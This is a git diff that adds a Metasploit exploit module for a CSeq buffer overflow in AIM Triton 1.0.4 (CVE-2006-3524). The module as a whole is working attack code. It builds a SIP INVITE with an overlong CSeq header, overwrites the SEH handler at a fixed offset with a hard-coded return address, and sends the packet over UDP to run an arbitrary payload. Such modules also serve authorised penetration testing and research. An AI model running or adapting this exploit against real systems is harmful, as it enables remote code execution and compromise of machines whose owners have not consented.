diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb new file mode 100644 index 0000000000..cd0f6c231a --- /dev/null +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -0,0 +1,85 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Sip::Aim_Triton_Cseq < Msf::Exploit::Remote + + include Exploit::Remote::Udp + include Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AIM Triton 1.0.4 CSeq Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in AOL's AIM + Triton 1.0.4. By sending an overly long CSeq value, + a remote attacker could overflow a buffer and execute + arbitrary code on the system with the privileges of + the affected application. + }, + 'Author' => 'MC', + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + ['BID', '18906'], + ['CVE', '2006-3524'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 400, + 'BadChars' => "\x00\x0a\x20\x09\x0d", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + + 'Targets' => + [ + [ 'AIM Triton 1.0.4 Universal', { 'Ret' => 0x4017b3d9 } ], # coolcore45.dll + ], + + 'Privileged' => false, + + 'DisclosureDate' => 'July 10 2006', + + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(5061) + ], self) + + end + + def exploit + connect_udp + + print_status("Trying target #{target.name}...") + + user = Rex::Text.rand_text_english(2, payload_badchars) + port = rand(65535).to_s + filler = Rex::Text.rand_text_english(792, payload_badchars) + seh = generate_seh_payload(target.ret) + filler[780, seh.length] = seh + + sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n" + sploit << "To: " + "\r\n" + sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n" + sploit << "From: \"#{user}\"" + "\r\n" + sploit << "Call-ID: #{(rand(100)+100).to_s}#{rhost}" + "\r\n" + sploit << "CSeq: " + filler + "\r\n" + sploit << "Max-Forwards: 20" + "\r\n" + sploit << "Contact: " + "\r\n\r\n" + + udp_sock.put(sploit) + + handler + disconnect_udp + + end + +end +end